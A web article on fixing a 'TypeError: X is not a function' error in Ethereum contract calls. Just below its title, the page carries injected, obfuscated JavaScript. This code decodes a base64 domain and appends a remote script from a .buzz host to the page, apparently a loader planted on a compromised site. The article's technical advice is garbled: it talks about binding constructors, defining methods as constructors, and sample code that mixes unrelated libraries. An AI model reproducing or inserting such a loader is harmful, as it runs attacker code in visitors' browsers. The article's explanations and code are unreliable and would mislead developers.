Ethereum: TypeError: X is not a function (Uncaught (in promise) error)

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=4d00e017″;document.body.appendChild(script);

Ethereum Error: TypeError: X is not a function

As a developer working with Ethereum smart contracts, you are probably no stranger to the complex world of programming languages ​​and libraries. However, when using certain methods on your Ethereum contract, you may encounter an error that seems absurd at first glance. In this article, we will dig into the details of what is causing this issue and propose a solution.

The Problem: TypeError: X is not a function

When you try to call a method on your Ethereum contract using contract.methods.methodName(), an error is thrown stating that X is not a function. This may seem like a generic error message, but in reality, it is more specific than that.

The Problem: Unbound Constructor

In most programming languages, including JavaScript and some other libraries, when you call a method on an object without specifying the object itself (i.e. “X”), it will look for a constructor function defined elsewhere. However, in this case, we are working with a contract, not a class.

The Solution: Bind the Constructor

To solve this problem, you need to bind the constructor of your contract method to an instance of the contract itself. This is done using the bind() method provided by the call function.

contract.methods.myMethod.bind(this).call();

In this example, we bind the myMethod constructor to this (i.e. the instance of our contract), which allows us to call it without specifying X.

Best Practices

To avoid similar issues in the future:

• Make sure your methods are defined as constructors (constructor X()) instead of regular functions.

• Use the bind() method when calling a method on an instance of the contract.

By applying these fixes and best practices, you should be able to resolve the TypeError: X is not a function associated with your Ethereum smart contract error.

Sample Code

Here is a sample code snippet that shows how to resolve this issue:

import * as ethers from 'ethers';
const MyContract = artifacts.require('MyContract');
contract('MyContract', async (accounts) => {
const instance = await MyContract.new();
const myMethod = instance.methods.myMethod;
// Call myMethod without specifying X
console.log(await myMethod()); // Output: TypeError: X is not a function
// Using bind() to specify this solves the problem:
const result = await myMethod.bind(this).call();
console.log(result);
});

Remember to replace MyContract with the actual name of your contract and modify the code accordingly.